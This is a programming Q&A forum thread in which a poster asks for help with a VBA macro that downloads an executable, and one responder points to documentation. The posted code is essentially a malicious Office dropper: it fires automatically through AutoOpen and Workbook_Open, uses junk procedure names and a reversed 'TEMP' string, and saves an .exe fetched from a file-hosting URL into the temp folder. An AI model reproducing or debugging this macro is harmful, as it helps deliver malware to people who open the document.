Click here to Skip to main content
15,888,321 members
Please Sign up or sign in to vote.
0.00/5 (No votes)
See more:
Hello, please i am having difficulty in downloading a binary off the internet.
i have this working code for downloading but if i check the binary that is downloaded, the size is quite different from the original and also it won't run because it is corrupt. please, help me because i am not good at scripting. just copied and edit code.

What I have tried:

<pre>Sub ertrettggdfg()
    sdfertunn
End Sub

Sub AutoOpen()
    ertrettggdfg
End Sub

Sub Workbook_Open()
    ertrettggdfg
End Sub

Sub sdfertunn()
Dim http_obj
Dim stream_obj
Dim shell_obj

Set http_obj = CreateObject("Microsoft.XMLHTTP")
Set stream_obj = CreateObject("ADODB.Stream")
Set shell_obj = CreateObject("WScript.Shell")

URL = "http://www.mediafire.com/file/file.exe" 'Where to download the file from
FileName = Environ(StrReverse("PMET")) & "/file.exe" 'Name to save the file (on the local system)

http_obj.Open "GET", URL, False
http_obj.send

stream_obj.Type = 1
stream_obj.Open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FileName, 2
End Sub
Posted
Updated 26-Jan-17 22:34pm
Comments
[no name] 26-Jan-17 23:33pm    
Please, someone, anyone help me out... Or is it not downloading as it should from MediaFire.com?

1 solution

 
Share this answer
 
Comments
[no name] 27-Jan-17 5:06am    
Sorry, its realy a nice link but like i said i know little of vbs so i dont know how to download .exe from mediafire.com using that link sample.
Richard MacCutchan 27-Jan-17 6:40am    
If you scroll down to the section headed "Getting Binary Data", it explains what extra parameters you need to specify. However, rather than wasting your time with this code you could download it in seconds using your browser.
[no name] 27-Jan-17 7:04am    
Please i need to use an example of a binary downloaded from mediafire.com.
Its a competition project which they gave us at school and i really need to get this right. please, can you just help me with an example of a mediafire binary downloaded through vbScript.

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900